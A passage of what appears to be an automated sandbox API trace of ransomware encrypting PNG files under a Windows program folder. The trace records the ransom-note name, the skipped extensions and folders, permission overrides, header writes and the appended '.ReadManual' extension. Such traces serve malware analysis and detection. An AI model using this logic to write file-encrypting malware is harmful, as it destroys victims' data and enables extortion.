(in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37329708167) returned 1 [0252.628] CloseHandle (hObject=0x1a0) returned 1 [0252.628] SetSecurityInfo () returned 0x5 [0252.628] SetSecurityInfo () returned 0x5 [0252.629] LocalFree (hMem=0x674d38) returned 0x0 [0252.629] CloseHandle (hObject=0x184) returned 1 [0252.629] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.629] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0252.629] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.629] StrStrIW (lpFirst="NavigationRight_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.629] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.629] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.629] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.629] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.629] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.629] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.629] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" [0252.629] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725" [0252.629] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png.ReadManual.5A595725") returned 116 [0252.629] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37329806867) returned 1 [0252.629] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png")) returned 0x20 [0252.629] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.630] GetLastError () returned 0x5 [0252.630] GetNamedSecurityInfoW () returned 0x0 [0252.630] SetNamedSecurityInfoW () returned 0x0 [0252.630] SetNamedSecurityInfoW () returned 0x0 [0252.631] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.632] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3118) returned 1 [0252.632] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2e, lpName=0x0) returned 0x1a0 [0252.632] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf8) returned 1 [0252.632] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.632] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.634] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.635] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2e) returned 0x2f0000 [0252.635] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.635] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37330348368) returned 1 [0252.635] CloseHandle (hObject=0x1a0) returned 1 [0252.635] SetSecurityInfo () returned 0x5 [0252.635] SetSecurityInfo () returned 0x5 [0252.635] LocalFree (hMem=0x674d38) returned 0x0 [0252.635] CloseHandle (hObject=0x184) returned 1 [0252.636] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb911bc, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb911bc, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0252.636] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0252.636] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RecoveryManual.html") returned -1 [0252.636] StrStrIW (lpFirst="NavigationUp_ButtonGraphic.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.636] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.636] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.636] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.636] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.636] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.636] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.636] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" [0252.636] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725" [0252.636] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png.ReadManual.5A595725") returned 107 [0252.636] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37330494178) returned 1 [0252.636] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png")) returned 0x20 [0252.636] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.637] GetLastError () returned 0x5 [0252.637] GetNamedSecurityInfoW () returned 0x0 [0252.637] SetNamedSecurityInfoW () returned 0x0 [0252.637] SetNamedSecurityInfoW () returned 0x0 [0252.638] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.639] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4955) returned 1 [0252.639] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x135b, lpName=0x0) returned 0x1a0 [0252.639] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe6) returned 1 [0252.639] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.639] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.641] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.641] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x135b) returned 0x2f0000 [0252.641] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.641] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37331008041) returned 1 [0252.641] CloseHandle (hObject=0x1a0) returned 1 [0252.641] SetSecurityInfo () returned 0x5 [0252.641] SetSecurityInfo () returned 0x5 [0252.642] LocalFree (hMem=0x674d38) returned 0x0 [0252.642] CloseHandle (hObject=0x184) returned 1 [0252.642] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fbb7319, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fbb7319, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0252.642] lstrcpyW (in: lpString1=0x6ab90e, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0252.642] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0252.642] StrStrIW (lpFirst="NavigationUp_SelectionSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.642] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.642] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.642] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.642] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.642] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.642] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.642] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" [0252.642] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725" [0252.642] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png.ReadManual.5A595725") returned 113 [0252.642] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37331106327) returned 1 [0252.642] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png")) returned 0x20 [0252.642] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.643] GetLastError () returned 0x5 [0252.643] GetNamedSecurityInfoW () returned 0x0 [0252.643] SetNamedSecurityInfoW () returned 0x0 [0252.643] SetNamedSecurityInfoW () returned 0x0 [0252.644] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.644] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3081) returned 1 [0252.645] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc09, lpName=0x0) returned 0x1a0 [0252.645] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xf2) returned 1 [0252.645] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.645] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.647] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.647] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc09) returned 0x2f0000 [0252.647] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.647] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37331613551) returned 1 [0252.647] CloseHandle (hObject=0x1a0) returned 1 [0252.647] SetSecurityInfo () returned 0x5 [0252.648] SetSecurityInfo () returned 0x5 [0252.648] LocalFree (hMem=0x674d38) returned 0x0 [0252.648] CloseHandle (hObject=0x184) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0252.650] lstrcpyW (in: lpString1=0x6ab90e, lpString2="title_stripe.png" | out: lpString1="title_stripe.png") returned="title_stripe.png" [0252.650] lstrcmpiW (lpString1="title_stripe.png", lpString2="RecoveryManual.html") returned 1 [0252.650] StrStrIW (lpFirst="title_stripe.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.650] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.650] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.650] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.650] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.650] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.650] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.650] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" [0252.650] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ReadManual.5A595725" [0252.650] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png.ReadManual.5A595725") returned 93 [0252.651] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37331981593) returned 1 [0252.651] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png")) returned 0x20 [0252.651] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.651] GetLastError () returned 0x5 [0252.651] GetNamedSecurityInfoW () returned 0x0 [0252.652] SetNamedSecurityInfoW () returned 0x0 [0252.652] SetNamedSecurityInfoW () returned 0x0 [0252.653] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.653] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3887) returned 1 [0252.653] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf2f, lpName=0x0) returned 0x1a0 [0252.653] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0252.654] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.654] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.656] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.656] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf2f) returned 0x2f0000 [0252.656] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37332493694) returned 1 [0252.656] CloseHandle (hObject=0x1a0) returned 1 [0252.656] SetSecurityInfo () returned 0x5 [0252.656] SetSecurityInfo () returned 0x5 [0252.656] LocalFree (hMem=0x674d38) returned 0x0 [0252.656] CloseHandle (hObject=0x184) returned 1 [0252.657] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fb6b05f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="title_stripe.png", cAlternateFileName="")) returned 0 [0252.657] FindClose (in: hFindFile=0x6bff40 | out: hFindFile=0x6bff40) returned 1 [0252.657] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa19a729d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a3fc59, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LayeredTitles", cAlternateFileName="LAYERE~1")) returned 1 [0252.657] lstrcpyW (in: lpString1=0x69b8fc, lpString2="LayeredTitles" | out: lpString1="LayeredTitles") returned="LayeredTitles" [0252.657] lstrcatW (in: lpString1="LayeredTitles", lpString2="\\" | out: lpString1="LayeredTitles\\") returned="LayeredTitles\\" [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\Windows\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\WINNT") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\Windows.old\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\", lpSrch=":\\PerfLog\\") returned 0x0 [0252.657] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD 